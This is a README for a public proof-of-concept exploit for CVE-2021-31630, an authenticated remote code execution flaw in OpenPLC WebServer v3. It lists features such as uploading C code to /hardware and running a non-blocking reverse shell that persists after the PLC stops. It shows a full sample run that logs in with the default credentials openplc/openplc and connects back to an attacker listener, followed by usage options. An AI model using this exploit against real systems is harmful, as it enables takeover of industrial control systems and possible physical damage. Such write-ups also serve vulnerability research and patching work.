cve-2021-31630's Introduction

cve-2021-31630

OpenPLC WebServer v3 - Authenticated RCE

This PoC script is based on the exploit provided by Fellipe Oliveira.

Features :

Directly uploads C code to /hardware instead of st file upload
Restores default program before uploading reverse shell
Improved C based reverse shell which is non blocking so web server doesn't hang ;)
Spawns shell in the background, works even after PLC is stopped until exit
Cleanup

$ python cve_2021_31630.py -lh 10.10.16.68 -lp 4444 http://10.10.11.7:8080

------------------------------------------------
--- CVE-2021-31630 -----------------------------
--- OpenPLC WebServer v3 - Authenticated RCE ---
------------------------------------------------

[>] Found By : Fellipe Oliveira
[>] PoC By   : thewhiteh4t [ https://twitter.com/thewhiteh4t ]

[>] Target   : http://10.10.11.7:8080
[>] Username : openplc
[>] Password : openplc
[>] Timeout  : 20 secs
[>] LHOST    : 10.10.16.68
[>] LPORT    : 4444

[!] Checking status...
[+] Service is Online!
[!] Logging in...
[+] Logged in!
[!] Restoring default program...
[+] PLC Stopped!
[+] Cleanup successful!
[!] Uploading payload...
[+] Payload uploaded!
[+] Waiting for 5 seconds...
[+] Compilation successful!
[!] Starting PLC...
[+] PLC Started! Check listener...
[!] Cleaning up...
[+] PLC Stopped!
[+] Cleanup successful!

Dependencies

pip3 install requests

Usage

usage: cve_2021_31630.py [-h] [-u U] [-p P] [-t T] -lh LH -lp LP url

positional arguments:
  url         Target URL with http(s)://

options:
  -h, --help  show this help message and exit
  -u U        Username
  -p P        Password
  -t T        Request Timeout, increase if server is slow
  -lh LH      LHOST
  -lp LP      LPORT

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